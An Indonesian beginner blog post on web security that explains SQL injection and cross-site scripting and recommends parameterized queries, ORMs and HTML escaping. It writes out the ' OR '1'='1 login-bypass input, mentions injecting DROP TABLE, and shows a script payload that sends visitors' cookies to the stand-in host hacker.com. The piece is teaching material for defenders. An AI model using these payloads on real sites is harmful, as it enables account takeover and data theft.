
Aturan #1 Keamanan Web: Jangan Pernah Percaya Input User!
Sebagai developer pemula, fokus utama kita biasanya adalah "Yang penting fitur ini jalan". Padahal, keamanan tidak boleh dikesampingkan. Hacker tidak menyerang tampilan visualmu, mereka mencari kelemahan dari form input (seperti kolom login atau kolom komentar) yang kamu buat.
1. SQL Injection (Injeksi Database)
Ini terjadi jika kamu mengambil teks yang diketik user di kolom input dan langsung menggabungkannya (menempelkannya) ke dalam query database SQL kamu.
Misalnya, kamu punya query login seperti ini:
// Sangat Berbahaya!
const query = "SELECT * FROM users WHERE email = '" + emailInput + "'";Jika user yang jujur memasukkan budi@mail.com, query berjalan normal. Tapi bagaimana jika Hacker mengetikkan teks aneh ini di kolom email: ' OR '1'='1?
Query-mu akan berubah menjadi: SELECT * FROM users WHERE email = '' OR '1'='1'
Karena 1 sama dengan 1 itu selalu BENAR (TRUE), database akan langsung memberikan akses login meskipun passwordnya salah! Lebih parah lagi, hacker bisa menyisipkan perintah DROP TABLE users untuk menghapus seluruh database-mu.
Cara Mencegahnya: Selalu gunakan Parameterized Queries atau ORM (seperti Prisma/Sequelize) yang akan otomatis menetralisir (escape) karakter berbahaya sebelum masuk ke database.
2. XSS (Cross-Site Scripting)
Jika SQL Injection menyerang database, XSS menyerang pengguna lain (di Frontend). Ini terjadi ketika website menampilkan data dari database secara mentah tanpa disaring (sanitize) terlebih dahulu.
Misalnya di kolom komentar blog, alih-alih mengetik "Artikel yang bagus!", seorang hacker mengetik kode JavaScript jahat:
<script>
fetch('http://hacker.com/curi-data?cookie=' + document.cookie);
</script>Jika kamu langsung me-render komentar tersebut ke HTML, maka SETIAP kali pengunjung web membaca artikel itu, browser mereka akan mengeksekusi script tersebut dan diam-diam mengirimkan data cookies/token login mereka ke server si hacker.
Cara Mencegahnya: Selalu escape karakter HTML sebelum dirender (ubah < menjadi <). Untungnya, framework modern seperti React.js sudah otomatis memblokir XSS jika kamu merender teks secara normal.
Mau langsung pakai template?
Jelajahi template gratis dan premium di TampilKit untuk mempercepat proses development project kamu.
Browse Templates